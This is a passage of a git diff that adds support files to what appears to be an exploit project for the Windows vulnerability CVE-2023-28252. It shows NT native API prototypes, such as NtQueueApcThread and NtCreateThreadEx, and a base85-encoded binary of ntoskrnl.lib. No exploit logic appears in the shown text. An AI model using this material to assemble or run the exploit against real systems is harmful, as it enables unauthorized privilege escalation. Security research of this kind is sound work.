PPORT_MESSAGE ConnectionRequest, + _In_ BOOLEAN AcceptConnection, + _Inout_opt_ PPORT_VIEW ServerView, + _Out_opt_ PREMOTE_PORT_VIEW ClientView); + +typedef +VOID +(*PPS_APC_ROUTINE) ( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSTATUS NTAPI NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSTATUS NTAPI NtWaitForSingleObject( + _In_ HANDLE Handle, + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER Timeout); + +NTSTATUS NTAPI NtYieldExecution( + VOID); + +NTSTATUS NTAPI NtCreateMailslotFile( + _Out_ PHANDLE FileHandle, + _In_ ULONG DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CreateOptions, + _In_ ULONG MailslotQuota, + _In_ ULONG MaximumMessageSize, + _In_ PLARGE_INTEGER ReadTimeout); + +NTSTATUS NTAPI NtSecureConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, + _Inout_opt_ PPORT_VIEW ClientView, + _In_opt_ PSID RequiredServerSid, + _Inout_opt_ PREMOTE_PORT_VIEW ServerView, + _Out_opt_ PULONG MaxMessageLength, + _Inout_opt_ PVOID ConnectionInformation, + _Inout_opt_ PULONG ConnectionInformationLength); + +NTSTATUS NTAPI NtEnumerateBootEntries( + _Out_ PVOID Buffer, + _Inout_ PULONG BufferLength); + +NTSTATUS NTAPI NtPrivilegeCheck( + _In_ HANDLE ClientToken, + _Inout_ PPRIVILEGE_SET RequiredPrivileges, + _Out_ PBOOLEAN Result +); + +NTSTATUS NTAPI NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _In_ BOOLEAN InJob); + +NTSTATUS NTAPI NtCreateThreadEx( + _Out_ PHANDLE hThread, + _In_ ACCESS_MASK DesiredAccess, + _In_ LPVOID ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ LPTHREAD_START_ROUTINE lpStartAddress, + _In_ LPVOID lpParameter, + _In_ BOOL CreateSuspended, + _In_ DWORD StackZeroBits, + _In_ DWORD SizeOfStackCommit, + _In_ DWORD SizeOfStackReserve, + _Out_ LPVOID lpBytesBuffer); \ No newline at end of file diff --git a/external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntoskrnl.lib b/external/source/exploits/CVE-2023-28252/CVE-2023-28252/ntoskrnl.lib new file mode 100755 index 0000000000000000000000000000000000000000..31ffee3864500ed4c1e28c8249e7e1f887025ad8 GIT binary patch literal 900146 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 z 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 